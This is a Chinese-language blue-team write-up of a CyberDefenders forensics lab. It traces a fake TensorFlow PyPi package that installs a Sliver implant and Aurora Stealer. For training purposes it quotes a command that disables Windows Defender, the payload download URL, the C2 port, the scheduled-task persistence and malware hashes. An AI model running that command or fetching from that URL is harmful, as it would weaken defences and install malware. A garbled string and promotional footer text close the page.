恶意 PyPi 包分析:从 pip 安装到 Sliver 后门与 Aurora 窃密木马
[CyberDefenders Write-up] Malicious PyPi (From pip to Sliver and Aurora stealer)
Chicken0248 Follow7 min read·2 days ago
Press enter or click to view image in full sizehttps://cyberdefenders.org/blueteam-ctf-challenges/malicious-pypi/
场景
作为一名 SOC 分析师,你被要求检查用户收件箱中收到的一份可疑文档。你的一位同事表示他没有发现任何可疑之处。然而,将该文档放入沙箱分析解决方案后触发了一些警报。你的工作是进一步调查该文档,并确认其是否恶意。
类别: 端点取证工具:
EZ Tools
DB Browser for SQLite
Strings
Event Log Explorer
Press enter or click to view image in full size
在本实验环境中,我们将分析从 C 盘收集的 Windows 工件。根据实验室名称可以非常明显地看出,我们正在处理一个系统因安装恶意 PyPi 包而被入侵的案例。
问题
Q1: Dr. Alex Rivera 最近下载了一个引发系统安全担忧的外部库。你能识别出用于此下载的具体命令吗?
Press enter or click to view image in full size
当谈论 Python 包(PyPi)时,我们可能会用到 pip。有两种主要方法可以找出通过 pip 安装恶意包所使用的命令。
第一种是检查特定用户的 ConsoleHost_history.txt。我们这里只有 Administrator 用户,所以我检查了存储每个用户 PowerShell 命令行历史记录的 Console Host 历史记录。我发现了一个通过 pip 从 a1l4m 的 GitHub(本实验的作者)安装 Python 包的记录,并且 Git 仓库名称暗示 Dr. Alex Rivera 可能认为这是一个合法的 TensorFlow 包,这最终导致了机器被入侵。
第二种是命令行日志记录(如果启用),但遗憾的是,该系统未启用此功能,这也在意料之中,因为 a1l4m 是本实验的作者。
pip install git+https://github.com/a1l4m/TensorFlow.git#egg=TensorFlow
Q2: 在调查过程中,你发现了一条修改系统安全设置的命令,导致 Windows Defender 被停用,这可能为攻击者提供了帮助。这条命令是什么?
Press enter or click to view image in full size
由于我们有 Prefetch 文件可以用来创建每个.exe文件的执行时间线,我使用 Eric Zimmerman 工具集中的PECmd来解析整个 Prefetch 文件夹,查看pip.exe的执行时间。我们可以看到在 2024-02-25 12:15 至 12:23 期间有 4 次pip.exe的执行记录,并且我还注意到一个非常突出的setup.exe,因为它是由假冒 TensorFlow 包的 pip 安装所创建的临时文件夹中执行的。
命令: PECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\prefetch" --csv .
Press enter or click to view image in full size
现在,我将解析整个 Windows 事件日志文件夹(严格来说,我们只需要解析 PowerShell 相关的日志),创建一个新的 CSV 文件,该文件可以在 Timeline Explorer 中打开,这将有助于我在使用过滤器查找特定事件时。我关注的是 PowerShell 日志,恶意包可能运行 PowerShell 命令来禁用 Windows Defender 的实时监控。正如我们所见,在 2024-02-26 12:22,执行了 Set-MpPreference -DisableRealtimeMonitoring $true,这与我们在 Prefetch 中发现的pip执行时间相符。
命令: EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs" --csv . --csvf log_timeline.csv
Set-MpPreference -DisableRealtimeMonitoring $true
Q3: 根据你的时间线分析,你首次观察到导致 Windows Defender 被禁用的安全设置未经授权更改是在什么日期和时间?
2024-02-26 12:22
Q4: 在安全设置被破坏后,系统上出现了一个新文件。该文件的 MD5 哈希值是什么,以指示其唯一身份?
Press enter or click to view image in full size
从 Prefetch 时间线中,我们可以看到有两个setup.exe从假冒 TensorFlow 包的临时安装文件夹中执行,我们可以生成其中任何一个的哈希值来回答这个问题。
Press enter or click to view image in full size
我还会在 VirusTotal 上搜索这个哈希值 — File — 5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330,结果显示这是一个 Sliver 植入程序,一旦执行,它应该负责与威胁行为者建立反向 Shell 连接。
23aadf3c98745cf293bff6b1b0980429
Q5: 调查在服务器上检测到的恶意文件的来源。该文件在与外部 C2 服务器开始通信之前,最初是从哪个确切 URL 下载的?
Press enter or click to view image in full size
在 Windows 工作站上,使用pip安装包时,会在C:\Users\<username>\AppData\Local\Temp\中创建临时文件。因此,我们可以在 VS Code 中打开整个文件夹,并使用“在文件中查找”功能来搜索 Sliver 植入程序的文件名,这揭示了用于下载 Sliver 植入程序并执行它的 Python 脚本,如上图所示。
http://3.66.85.252:8000/file.exe
Q6: 上一个问题中的文件开始与外部 C2 服务器通信。用于此通信的端口是什么?
Press enter or click to view image in full size
现在我们应该回到 VirusTotal,转到“Behavior”标签页,查找用于反向 Shell 连接的端口,如上图所示。
8888
Q7: 攻击者通常通过持久化机制确保他们对被入侵系统的持续访问。Dr. Rivera 的系统是何时建立这种机制的?
Press enter or click to view image in full size
我再次检查了 Prefetch 时间线,寻找诸如reg.exe或schtasks.exe的执行记录等容易发现的线索。我们可以看到在 2024-02-26 12:36,schtasks.exe被执行了,所以我们应该查看在此期间创建的计划任务。
通过检查Windows\System32\Tasks文件夹,我们可以看到名为“SystemUpdatesDaily”的可疑任务,其“修改日期”与schtasks.exe执行的时间戳相同。
Press enter or click to view image in full size
通过检查任务配置文件,我们可以看到此计划任务将在启动时以最高可用权限(系统)执行 Sliver 植入程序,现在可以确认计划任务是在 12:36 创建的。
2024-02-26 12:36
Q8: 攻击者完成入侵后,在主机系统上留下了一个特定文件。根据你收集到的信息,提供此文件的名称,该文件是在攻击者在系统上建立持久化后不久创建的。
Press enter or click to view image in full size
在 Prefetch 时间线上,我还注意到了system.exe的执行记录,这在 Windows 上并不是标准的可执行文件。
Press enter or click to view image in full size
我们也可以计算这个可执行文件的文件哈希值。正如我们所见,其“修改日期”在事件时间范围内,因此该文件是在事件期间创建的(我们也可以将其与 MFT 和 UsnJournal 中的文件创建事件相关联)。
Press enter or click to view image in full size
在 VirusTotal 上搜索这个哈希值后,我们现在可以确认这个文件是恶意文件,威胁标签突出显示此文件为 Aurora Stealer。
system.exe
Q9: 确定第 8 题中识别的恶意文件开始运行的确切时刻。它首次是在何时执行的?
Press enter or click to view image in full size
正如 Prefetch 时间线所示,该文件的首次执行时间是在 12:42。
2024-02-26 12:42
Q10: 识别出第 8 题中的恶意文件后,确定其所属的恶意软件家族名称至关重要。此信息对于将攻击与已知威胁关联并制定适当的防御措施非常重要。第 8 题中恶意文件的恶意软件家族名称是什么?
Press enter or click to view image in full size
正如我们已经从流行的威胁标签中了解到的那样,我们也可以查看社区标签,许多恶意软件沙箱也将其标记为 Aurora Stealer。
AuroraCSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9XWnhAP6q5FfiGb63VkvyGK4Ts3fFgibXiazrLEdjF1SLWRkmZG8toxbNpAbUM74/kzMRNdLOahR4saFgOpa9EOQEw+1x7NmlRnEAvVbzcj2a4vGpy1VmCzljt2Wfxl0cM=更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码
公众号二维码







评论